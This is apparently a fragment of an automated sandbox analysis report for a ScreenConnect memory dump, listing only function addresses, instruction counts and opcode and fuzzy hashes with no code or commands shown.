                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a294f97f15bcaff76b2b3e1a9d5b50d09885b20b03b7b61b5dce770420c3cbff
                                                                                          • Instruction ID: a8cd1cd63a61804ccd0ca2d4b7eae91cf2f92870461df281c765a4aebda7f0d8
                                                                                          • Opcode Fuzzy Hash: a294f97f15bcaff76b2b3e1a9d5b50d09885b20b03b7b61b5dce770420c3cbff
                                                                                          • Instruction Fuzzy Hash: 7821253271DF0D0BEF5CAA58A893AF573D1EF51350740162EE48A831A7DE15F9424781
                                                                                          Function 00007FFD9B712984 Relevance: .1, Instructions: 92COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 402bc5797a062bc8226d1a9209664c539ed037ab6acea421ed6fe26d38cc8654
                                                                                          • Instruction ID: 029323099c22525a0f7b338797c9a301b21570154708bc271b7c8ffaff172358
                                                                                          • Opcode Fuzzy Hash: 402bc5797a062bc8226d1a9209664c539ed037ab6acea421ed6fe26d38cc8654
                                                                                          • Instruction Fuzzy Hash: FC31F47170EB8A4FD768DB68C4A4AB537E1FF58304B0506B9D45DCB2B2CE25B801C750
                                                                                          Function 00007FFD9B725A5A Relevance: .1, Instructions: 91COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: fb6e95afab281589003d5db1d3c04f5fed33c0e6256d04c7d9be87b490da1c02
                                                                                          • Instruction ID: b327e6e58b5ecba5aec95cd50cea4f8e5d24ee00db6c82a7d60fa611ca065722
                                                                                          • Opcode Fuzzy Hash: fb6e95afab281589003d5db1d3c04f5fed33c0e6256d04c7d9be87b490da1c02
                                                                                          • Instruction Fuzzy Hash: B5212831A1EB8D4FE769977898654A57BF1FF85310B0503BBD089C71B2DB68A842C341
                                                                                          Function 00007FFD9B71D3E2 Relevance: .1, Instructions: 88COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: faaccdb4bea5d01692e13197287a4dadff2b740c9632426b5a1f1e8c797373b9
                                                                                          • Instruction ID: d78b64d18989ee65fcb0da4d3f2914ccb840bd52b55e0c8dd728986ab3b2e322
                                                                                          • Opcode Fuzzy Hash: faaccdb4bea5d01692e13197287a4dadff2b740c9632426b5a1f1e8c797373b9
                                                                                          • Instruction Fuzzy Hash: F0316931F0A70E0BF765ABA884653A936D1EF80300F125779D84CD72F2EE2879454B70
                                                                                          Function 00007FFD9B71C938 Relevance: .1, Instructions: 85COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a447e166d4238fc64cf768b8fd47c0667dd546f68fab3afe3b90418cd4902ecf
                                                                                          • Instruction ID: d1ba5c8514a6cd45c81be3d533fec158fa90c50047a8a617ec5728f11182ec8d
                                                                                          • Opcode Fuzzy Hash: a447e166d4238fc64cf768b8fd47c0667dd546f68fab3afe3b90418cd4902ecf
                                                                                          • Instruction Fuzzy Hash: 1821B435A0A65D4FEB65DF68C8A96E877B0FF40300F0502BAD059DB1A2DF342A46CB51
                                                                                          Function 00007FFD9B717EE0 Relevance: .1, Instructions: 75COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b29f224c3b07808487c056532428791b83d184fb7a55d25a80a64c827bf955af
                                                                                          • Instruction ID: 79b44481050a83953b7461f6ab91d032e22b2e465e63f80412f403fe859e64f2
                                                                                          • Opcode Fuzzy Hash: b29f224c3b07808487c056532428791b83d184fb7a55d25a80a64c827bf955af
                                                                                          • Instruction Fuzzy Hash: 6111E91171EB0E1AE7A592A8A8603B936D5EF84250F4651B6D44CC72F2DD1C9AC38361
                                                                                          Function 00007FFD9B71AE90 Relevance: .1, Instructions: 74COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6e1b0c5ed5ac10929edc498a9c43c01978ad31e914454000b6fbfd4d173a9c34
                                                                                          • Instruction ID: e580236df863fb82dd0499e1f53af41755b06c5654a838f995edb11ef3808e9f
                                                                                          • Opcode Fuzzy Hash: 6e1b0c5ed5ac10929edc498a9c43c01978ad31e914454000b6fbfd4d173a9c34
                                                                                          • Instruction Fuzzy Hash: 4F11E672B0E24E0EE71CDA98E8663F83780DF41328F11117AD1AE824B3DD2664178291
                                                                                          Function 00007FFD9B715E00 Relevance: .1, Instructions: 72COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9485171e8fd0d09cb90e05df3c581454e69585aa42ea8f25d5440fc27cbedb3f
                                                                                          • Instruction ID: 511ad6acb1340db173988db0cfa09990310e963fd51d3c580e9439532b9bdb2f
                                                                                          • Opcode Fuzzy Hash: 9485171e8fd0d09cb90e05df3c581454e69585aa42ea8f25d5440fc27cbedb3f
                                                                                          • Instruction Fuzzy Hash: 291159A1F1EB4E0FE7A8E7A808E16A47791FF55250B1542F9D04CC71F7DC18994A83A0
                                                                                          Function 00007FFD9B715F4D Relevance: .1, Instructions: 71COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 47a7523537695e5d6e823db1a858a1846a391d513bbb3d3f7e4ed1de4135cd2f
                                                                                          • Instruction ID: cc78029930a9b641cb5f5db2089a4d6077e75876916b459b11ce6cf74ea10f87
                                                                                          • Opcode Fuzzy Hash: 47a7523537695e5d6e823db1a858a1846a391d513bbb3d3f7e4ed1de4135cd2f
                                                                                          • Instruction Fuzzy Hash: 8F11D572E0EB8C4FDF95EBA848B52A87FA4EF55300F0500DAE498C31B3DA20A505C711
                                                                                          Function 00007FFD9B7110E2 Relevance: .1, Instructions: 68COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b5f6df1b2f80f86e662eb6b2e3270e90a74bfe3b6586aa2034a436b2a670dd00
                                                                                          • Instruction ID: 108b3440fbd7ef139c090b7a61867734d372725986b7dcb3c15326fe4a665976
                                                                                          • Opcode Fuzzy Hash: b5f6df1b2f80f86e662eb6b2e3270e90a74bfe3b6586aa2034a436b2a670dd00
                                                                                          • Instruction Fuzzy Hash: DD11E421A0EB890ED7A1F67CA4756E53FE0EF82224B0902FBD48CCB1B3DD145945C351
                                                                                          Function 00007FFD9B71ADF7 Relevance: .1, Instructions: 66COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bbbb937cdcd7ee302a16de66afa92fabdf6f046d14741b394b877dcee45f4183
                                                                                          • Instruction ID: 2e79c0fcd0c0c89076e142bfbf8ead3b84aa8764491104879273024c891673a2
                                                                                          • Opcode Fuzzy Hash: bbbb937cdcd7ee302a16de66afa92fabdf6f046d14741b394b877dcee45f4183
                                                                                          • Instruction Fuzzy Hash: 4D117A32B0DF4E4FDBA4DB5894A16A033D1EFA470072546B8D02DC31EADD25FC064780
                                                                                          Function 00007FFD9B712C18 Relevance: .1, Instructions: 61COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bafd63d1705cd447b8624bf363a291685f37871bcc5a64346aaf04351a529069
                                                                                          • Instruction ID: 34b61cd17c364de43f833db9fee666f87b4a6e16d8d82437b231053333ea2dc1
                                                                                          • Opcode Fuzzy Hash: bafd63d1705cd447b8624bf363a291685f37871bcc5a64346aaf04351a529069
                                                                                          • Instruction Fuzzy Hash: FA118E71B09A494FDB98EF58C060B6573A2FF68304F0542B8D48DCB2E6DE35E9468B90
                                                                                          Function 00007FFD9B714AF0 Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bb8957ed130a4b8cf8724325db8c2115508020669c5121b0b507d1a3384288cb
                                                                                          • Instruction ID: c8bebad6c0b8cfbe243fbef0b3e01feefd90d1c29a9e939ebde9f955d5c7d9bf
                                                                                          • Opcode Fuzzy Hash: bb8957ed130a4b8cf8724325db8c2115508020669c5121b0b507d1a3384288cb
                                                                                          • Instruction Fuzzy Hash: 7401A131708A084BD7E4EA6CE468B6577E1EF99355F58067ED84CC32B5DA16A940C740
                                                                                          Function 00007FFD9B715EA5 Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7929ebd55ca6c57989b1ffebe269965852e0c3234773ece10fdecc7f1acee7ef
                                                                                          • Instruction ID: ec1f5e4d2dc6abd2428dfc542359dec594fa13155fb1d116e7fd58110048c391
                                                                                          • Opcode Fuzzy Hash: 7929ebd55ca6c57989b1ffebe269965852e0c3234773ece10fdecc7f1acee7ef
                                                                                          • Instruction Fuzzy Hash: 9B018E62E0FB8A0FE355D77C18A11A07BA1FF4122071902FBD048CB0F7D8089A0A8362
                                                                                          Function 00007FFD9B712C81 Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 14adda7192b22e1196709e0394530c0a747eb43deaae40940bc106079bd797e9
                                                                                          • Instruction ID: 3ca2abd3b5ca1a85e46ed35a3b3dae6408c3d6dde322105b4874dffe7e652ed4
                                                                                          • Opcode Fuzzy Hash: 14adda7192b22e1196709e0394530c0a747eb43deaae40940bc106079bd797e9
                                                                                          • Instruction Fuzzy Hash: 7911B271B09A494FDB98EF58C064B6173A2FF68304F0542A8D48DCB2E7DE35F9468B50
                                                                                          Function 00007FFD9B714AD5 Relevance: .1, Instructions: 58COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 295515ab950e1de68aeac8f3d31ab47c3a4bb837bf1589940ae9d5438a637458
                                                                                          • Instruction ID: b39bcb07d048a9233f71eac0d1b9881c49237562ca03972b197c113b143e07b8
                                                                                          • Opcode Fuzzy Hash: 295515ab950e1de68aeac8f3d31ab47c3a4bb837bf1589940ae9d5438a637458
                                                                                          • Instruction Fuzzy Hash: 1F01D23160EBC80FD7A6DA3898686A17FF1EF96210B0A02EFD888CB1B3DA155945C711
                                                                                          Function 00007FFD9B71D54D Relevance: .1, Instructions: 58COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7a6971f590651c2271528837481f4bdd3d2d8196ef02efbd085543bc8f328023
                                                                                          • Instruction ID: f65aa4ac6b2124579ba52847ee03de040394f2280bd30ea442da750a12a07bb2
                                                                                          • Opcode Fuzzy Hash: 7a6971f590651c2271528837481f4bdd3d2d8196ef02efbd085543bc8f328023
                                                                                          • Instruction Fuzzy Hash: C411C671A1AA199FEBD4EB58C898E98B3F1EF68740F4001E5940DD7262DE34AD808F00
                                                                                          Function 00007FFD9B71C2CD Relevance: .1, Instructions: 56COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4555538a207a0301f4a00b33c8c67b3f499ba34e013974e7cbed1afe220d677f
                                                                                          • Instruction ID: 53b3042c9dc9604e02d3e0f6a1ebdfefc704fe5479600afaa4c87c5b510ebcb5
                                                                                          • Opcode Fuzzy Hash: 4555538a207a0301f4a00b33c8c67b3f499ba34e013974e7cbed1afe220d677f
                                                                                          • Instruction Fuzzy Hash: E101D42170EA0D4FE7A4FBBC54A927876D3EB9824571105BED04ECB3B7DD28AD465300
                                                                                          Function 00007FFD9B713F40 Relevance: .1, Instructions: 53COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b59b85ec5380fb40cc75ff1a57eedeec16ae605505c4a20241f7b5a977fb615b
                                                                                          • Instruction ID: 7cfe611226c771d00c343dd1e618ccddf95e7bcbd0475a705463d874aca9e3a1
                                                                                          • Opcode Fuzzy Hash: b59b85ec5380fb40cc75ff1a57eedeec16ae605505c4a20241f7b5a977fb615b
                                                                                          • Instruction Fuzzy Hash: 1301D421B0EB4E29EEB5169825752B827A59FA1150F4722B6D88CC31F2CD0C1E8642B2
                                                                                          Function 00007FFD9B714E58 Relevance: .1, Instructions: 53COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 55526da6284d59701116361d5dabd90eb426b7df4305f4333a9128bbf0a20ed2
                                                                                          • Instruction ID: 1eef06543b7a40d2b43369e17e6bf88c91ffaded59d109d4734ea2b72e6e23b5
                                                                                          • Opcode Fuzzy Hash: 55526da6284d59701116361d5dabd90eb426b7df4305f4333a9128bbf0a20ed2
                                                                                          • Instruction Fuzzy Hash: 2C01C025F0AA0B0EFBB8926884B137471D1AF85340F2A967DC41DC21F5DD6CAB848651
                                                                                          Function 00007FFD9B710B15 Relevance: .0, Instructions: 42COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f9a69a4b38e40120e0a29f911f72f4e0477a395f20b5158139563c441b99d912
                                                                                          • Instruction ID: 7a9ebb66e1f48553ed1a90113deb6bd578ec348ae0291d85cf5a9db49a0ceb94
                                                                                          • Opcode Fuzzy Hash: f9a69a4b38e40120e0a29f911f72f4e0477a395f20b5158139563c441b99d912
                                                                                          • Instruction Fuzzy Hash: 71F04F2144E3960FD36297B4C8A5AE57FF0EF47250B0E82FAD484CB4B3D90C59868761
                                                                                          Function 00007FFD9B71D7E0 Relevance: .0, Instructions: 40COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 52e48331486d6791fcc3f3f6cb8915df23f9b7e443e3f2d3708d07b3d3a390ea
                                                                                          • Instruction ID: bf0350430b8a1af24926c4d09869286be653c862c60f418676d893a67d18de4e
                                                                                          • Opcode Fuzzy Hash: 52e48331486d6791fcc3f3f6cb8915df23f9b7e443e3f2d3708d07b3d3a390ea
                                                                                          • Instruction Fuzzy Hash: 2CE09BB114E50C6EA61CAA55EC079F7379CE747134F00111FE1CE82012F152B5238295
                                                                                          Function 00007FFD9B71D642 Relevance: .0, Instructions: 40COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 55a9057a06a38bc37d2b0a3e99776263f1c3a78dad65bf9e1c3fc09bd63dad08
                                                                                          • Instruction ID: f6c9df0bf819433ca58ec1f858d579ab24645251e571aec3d5af18158a03ec67
                                                                                          • Opcode Fuzzy Hash: 55a9057a06a38bc37d2b0a3e99776263f1c3a78dad65bf9e1c3fc09bd63dad08
                                                                                          • Instruction Fuzzy Hash: 4101FF31E1561D8EDBB4EB6884697F8B3B1EF58355F5102FAD11DD2161DE346AC08F00
                                                                                          Function 00007FFD9B71C8B6 Relevance: .0, Instructions: 36COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 09a0b0ffce91c8f4ffb1c01eb06ff34986161e6d1f4daf24f8f8bbf132239acd
                                                                                          • Instruction ID: 7ef88e7d726bae8724ee0687b2a8c0da9dd28c3bf43d30d13cfab32ef6685ea8
                                                                                          • Opcode Fuzzy Hash: 09a0b0ffce91c8f4ffb1c01eb06ff34986161e6d1f4daf24f8f8bbf132239acd
                                                                                          • Instruction Fuzzy Hash: EFF0C23190D78D2FEB119BB884A96E9BFB0EF45200F4542EBD448DA063DE2866458751
                                                                                          Function 00007FFD9B714109 Relevance: .0, Instructions: 33COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b0161d293675eadb9eeb7899484027f31cd3ff2a40fc0622136f63b1df50ffb9
                                                                                          • Instruction ID: 96ee8273ce8f9e7bee0bd1a508a77db522b827503795edb0bcc2033d0a225955
                                                                                          • Opcode Fuzzy Hash: b0161d293675eadb9eeb7899484027f31cd3ff2a40fc0622136f63b1df50ffb9
                                                                                          • Instruction Fuzzy Hash: 71F0303540E79C5FCF82EB74D4629D57FB0FE56310B0501C7E149CB063E6219A59CB92
                                                                                          Function 00007FFD9B7143E9 Relevance: .0, Instructions: 32COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: a73b6fd66200766b3e9209993fdbf57a0da9531b1524e1f78bd46f7adca425cb
                                                                                          • Instruction ID: cb48d2b00b489db9b1ff5948eb774391e96b343508ea0e26998d41acd001fc38
                                                                                          • Opcode Fuzzy Hash: a73b6fd66200766b3e9209993fdbf57a0da9531b1524e1f78bd46f7adca425cb
                                                                                          • Instruction Fuzzy Hash: 63F09632A1D7894FD755A73488692A57FB1FF45200F4501FAD44DCB1E7DE29E904CB41
                                                                                          Function 00007FFD9B7109B1 Relevance: .0, Instructions: 28COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6c1715902f63080165cefd332ccb334bdbdc9183f899e0aef13dc22fae61dda6
                                                                                          • Instruction ID: da9a3ab15e242f48c69201e91983b68c585b96bea869831b743a27f4166eda1e
                                                                                          • Opcode Fuzzy Hash: 6c1715902f63080165cefd332ccb334bdbdc9183f899e0aef13dc22fae61dda6
                                                                                          • Instruction Fuzzy Hash: A7E0DF2150F7C40FDB539B3888AC8E13FA0EE1332030A01EBD481CF1B3E9198A89C752
                                                                                          Function 00007FFD9B715FF0 Relevance: .0, Instructions: 26COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b9537f8c5cb9ae116450bc45cd096d224bc7ecfa2718d4a7e9fd09839215a43a
                                                                                          • Instruction ID: 577b93a671c40c8122eae03386de84cec0aa3ff54fee63936c72349c83d70598
                                                                                          • Opcode Fuzzy Hash: b9537f8c5cb9ae116450bc45cd096d224bc7ecfa2718d4a7e9fd09839215a43a
                                                                                          • Instruction Fuzzy Hash: B1E0267595CB4C8BDB44EA989C202A477E8FF48308F000699E46CC31A2E775E650C702
                                                                                          Function 00007FFD9B714E60 Relevance: .0, Instructions: 23COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 242e5f5c2ed26231fa607c4b752292e08e8a8dfe0f4b44a74d41be255c50bad1
                                                                                          • Instruction ID: 0c89134b57ff8b020194c8093465900ee6482ae8a30bf3d6731f9258ead5ee25
                                                                                          • Opcode Fuzzy Hash: 242e5f5c2ed26231fa607c4b752292e08e8a8dfe0f4b44a74d41be255c50bad1
                                                                                          • Instruction Fuzzy Hash: EBE08C21A5A61B05FA7C61A578723B570849F05350F06117EE41DC00E9CD5C9B8885A2
                                                                                          Function 00007FFD9B712D20 Relevance: .0, Instructions: 8COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000007.00000002.2954487855.00007FFD9B710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B710000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_7_2_7ffd9b710000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
